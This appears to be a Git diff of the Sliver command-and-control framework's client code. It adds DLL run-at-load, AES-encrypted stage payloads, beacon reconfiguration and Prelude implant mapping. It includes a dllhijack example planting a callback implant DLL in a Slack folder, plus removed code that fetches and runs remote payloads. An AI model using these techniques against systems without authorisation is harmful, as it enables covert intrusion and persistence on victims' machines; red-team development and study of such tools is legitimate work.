@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad = ctx.Flags.Bool("run-at-load")
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -331,6 +333,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
}
|
||||
|
||||
return config
|
||||
@@ -515,6 +519,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
arg = strings.ReplaceAll(arg, "\\", "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
@@ -531,6 +538,18 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
if uri.Scheme != "namedpipe" {
|
||||
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(uri.Path, "/pipe/") {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
|
||||
}
|
||||
}
|
||||
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
con.Println()
|
||||
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
|
||||
con.Println()
|
||||
}
|
||||
|
||||
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
|
||||
|
||||
@@ -657,8 +657,8 @@ supplied with the --profile flag.
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -33,6 +34,8 @@ import (
|
||||
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
profileName := ctx.Flags.String("profile")
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
// set default aes iv
|
||||
if aesEncryptIv == "" {
|
||||
aesEncryptIv = "0000000000000000"
|
||||
}
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt = true
|
||||
}
|
||||
|
||||
stage2, err := generate.GetSliverBinary(profile, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
ctrl := make(chan bool)
|
||||
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
}
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -41,7 +42,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
err := KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
err := KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
core.Sessions.Remove(session.ID)
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
return err
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessionMapper := prelude.InitSessionMapper(config)
|
||||
implantMapper := prelude.InitImplantMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
@@ -52,9 +53,26 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(session)
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get beacon list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
con.PrintInfof("Adding existing beacons ...\n")
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
if prelude.ImplantMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
|
||||
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Terminate failed: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if terminated.Response != nil && terminated.Response.Async {
|
||||
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Reconfig
|
||||
=========
|
||||
|
||||
Commands used to reconfigure beacon/session times and metadata
|
||||
@@ -0,0 +1,96 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ReconfigCmd - Reconfigure metadata about a sessions
|
||||
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
var reconnectInterval time.Duration
|
||||
if ctx.Flags.String("reconnect-interval") != "" {
|
||||
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var beaconInterval time.Duration
|
||||
var beaconJitter time.Duration
|
||||
if beacon != nil {
|
||||
if ctx.Flags.String("beacon-interval") != "" {
|
||||
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.String("beacon-jitter") != "" {
|
||||
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
|
||||
return
|
||||
}
|
||||
if beaconInterval == 0 && beaconJitter != 0 {
|
||||
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
||||
ReconnectInterval: int64(reconnectInterval),
|
||||
BeaconInterval: int64(beaconInterval),
|
||||
BeaconJitter: int64(beaconJitter),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if reconfig.Response != nil && reconfig.Response.Async {
|
||||
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, reconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reconfigured beacon\n")
|
||||
})
|
||||
con.PrintAsyncResponse(reconfig.Response)
|
||||
} else {
|
||||
con.PrintInfof("Reconfiguration complete\n")
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
package sessions
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,18 +21,16 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SessionsReconfigCmd - Reconfigure metadata about a sessions
|
||||
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
// RecnameCmd - Reconfigure metadata about a sessions
|
||||
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
}
|
||||
|
||||
// Option to change the reconnect interval
|
||||
reconnect := ctx.Flags.Int("reconnect")
|
||||
|
||||
// Option to change the reconnect interval
|
||||
poll := ctx.Flags.Int("poll")
|
||||
|
||||
oldSession := con.ActiveTarget.GetSession()
|
||||
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
SessionID: oldSession.ID,
|
||||
Name: name,
|
||||
ReconnectInterval: int64(reconnect) * int64(time.Second),
|
||||
PollInterval: int64(poll) * int64(time.Second),
|
||||
var beaconID string
|
||||
var sessionID string
|
||||
if beacon != nil {
|
||||
beaconID = beacon.ID
|
||||
} else if session != nil {
|
||||
sessionID = session.ID
|
||||
}
|
||||
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
|
||||
SessionID: sessionID,
|
||||
BeaconID: beaconID,
|
||||
Name: name,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Renamed implant to %s\n", name)
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
}
|
||||
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
err = kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -51,7 +51,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -65,7 +65,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -81,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
|
||||
@@ -358,6 +358,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
|
||||
case sliverpb.MsgMvReq:
|
||||
mv := &sliverpb.Mv{}
|
||||
err := proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
case sliverpb.MsgMkdirReq:
|
||||
mkdir := &sliverpb.Mkdir{}
|
||||
err := proto.Unmarshal(task.Response, mkdir)
|
||||
|
||||
@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
@@ -220,8 +220,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.RemoveImplant(session)
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
}
|
||||
|
||||
@@ -167,6 +167,7 @@ const (
|
||||
ExecuteStr = "execute"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
RmStr = "rm"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
|
||||
@@ -1,166 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
+37
-12
@@ -1,5 +1,23 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -9,7 +27,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
@@ -25,9 +42,9 @@ type bofArgs struct {
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
|
||||
if !isLoaderLoaded(session, rpc) {
|
||||
err = registerLoader(session, rpc)
|
||||
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
if !isLoaderLoaded(implant, rpc) {
|
||||
err = registerLoader(implant, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
